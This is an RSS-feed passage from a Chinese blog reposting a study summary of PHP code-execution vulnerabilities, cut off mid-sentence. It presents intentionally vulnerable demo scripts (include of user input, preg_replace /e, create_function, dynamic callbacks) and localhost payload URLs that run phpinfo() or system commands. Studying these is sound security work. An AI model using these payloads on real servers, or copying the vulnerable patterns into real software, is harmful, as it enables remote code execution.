﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-架构-随笔分类-杂</title><link>http://www.cppblog.com/fdsajhg3000/category/15716.html</link><description>工程</description><language>zh-cn</language><lastBuildDate>Thu, 20 Jan 2011 08:11:56 GMT</lastBuildDate><pubDate>Thu, 20 Jan 2011 08:11:56 GMT</pubDate><ttl>60</ttl><item><title>PHP代码执行漏洞总结 </title><link>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138502.html</link><dc:creator>fdsajhg</dc:creator><author>fdsajhg</author><pubDate>Thu, 13 Jan 2011 18:53:00 GMT</pubDate><guid>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138502.html</guid><wfw:comment>http://www.cppblog.com/fdsajhg3000/comments/138502.html</wfw:comment><comments>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138502.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/fdsajhg3000/comments/commentRss/138502.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/fdsajhg3000/services/trackbacks/138502.html</trackback:ping><description><![CDATA[<div class="title" style="padding-top: 10px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; height: 56px; line-height: 56px; text-align: center; overflow-x: hidden; overflow-y: hidden; font-family: Verdana, Arial, Tahoma; font-size: 12px; "><h2 style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 18px; color: rgb(79, 145, 23); ">PHP代码执行漏洞总结</h2></div><div class="info" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; height: 24px; line-height: 17px; text-align: center; overflow-x: hidden; overflow-y: hidden; color: rgb(102, 102, 102); font-family: Verdana, Arial, Tahoma; font-size: 12px; "><small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">时间:</small>2010-08-30 14:05<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">来源:</small>百度&nbsp;<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">作者:</small>menzhi007&nbsp;<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">点击:</small>110次</div><div class="intro" style="padding-top: 8px; padding-right: 16px; padding-bottom: 8px; padding-left: 16px; margin-top: 8px; margin-right: auto; margin-bottom: 0px; margin-left: auto; width: 639px; line-height: 24px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(245, 252, 238); border-left-color: rgb(220, 221, 221); font-size: 14px; color: rgb(112, 106, 106); font-family: Verdana, Arial, Tahoma; ">总结的很全面的一篇关于php漏洞方面的文章，学习，by daokers</div><div class="content" style="padding-top: 12px; padding-right: 16px; padding-bottom: 12px; padding-left: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 25px; color: rgb(51, 51, 51); word-break: break-all; font-family: Verdana, Arial, Tahoma; "><table width="100%" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><tbody style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><tr style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><td style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">PHP安全爱好者的盛宴<a href="http://php-security.org/" target="_blank" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: rgb(37, 110, 177); text-decoration: none; ">the Month of PHP Security</a>&nbsp;。拜读php-security上的很多牛文，发出来共享下啦，都是偶像哇。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">From:<a href="http://hi.baidu.com/menzhi007" target="_blank" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: rgb(37, 110, 177); text-decoration: none; ">http://hi.baidu.com/menzhi007</a><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><font size="3" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">一 代码执行函数</strong></font><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 1.1:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">echo `dir`;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><font size="3" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">二 文件包含代码注射</strong></font><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">文件包含函数在特定条件下的代码注射，如include()、include_once()、 require()、require_once()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">当allow_url_include=On ，PHP Version&gt;=5.2.0 时，导致代码注射。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 2.1:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">include($_GET['a']);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">执行phpinfo()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><font size="3" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">三 正则匹配代码注射</strong></font><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符，即允许执行代码。这里我们分三种情况讨论下<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">3.1 preg_replace() pattern 参数注射<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">pattern即第一个参数的代码注射。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">当magic_quotes_gpc=Off时，导致代码执行。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 3.1:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">echo $regexp = $_GET['reg'];<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$var = '&lt;php&gt;phpinfo()&lt;/php&gt;';<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">preg_replace("/&lt;php&gt;(.*?)$regexp", '\\1', $var);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">执行phpinfo()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">3.2 preg_replace() replacement参数注射<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">replacement即第二个参数的代码注射，导致代码执行。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 3.2:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">preg_replace("/menzhi007/e",$_GET['h'],"jutst test menzhi007!");<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">执行phpinfo()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">3.3 preg_replace()第三个参数注射<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">我们通过构造subject参数执行代码。提交：http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 3.3:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><font size="3" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">四 动态代码执行</strong></font><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">4.1 动态变量代码执行<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 4.1:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$dyn_func = $_GET['dyn_func'];<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$argument = $_GET['argument'];<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$dyn_func($argument);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&amp;argument=ipconfig 执行ipconfig命令<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">4.2 动态函数代码执行<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 4.2:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$foobar = $_GET['foobar'];<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$dyn_func = create_function('$foobar', "echo $foobar;");<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$dyn_func('');<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><font size="3" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">五 其他</font></strong><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">5.1 ob_start()函数的代码执行<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 5.1:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$foobar = 'system';<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">ob_start($foobar);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">echo 'dir';<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">ob_end_flush();<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">5.2 array_map()函数的代码执行<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 5.2:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$evil_callback = $_GET['callback'];<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$some_array = array(0, 1, 2, 3);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">$new_array = array_map($evil_callback, $some_array);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">我们提交 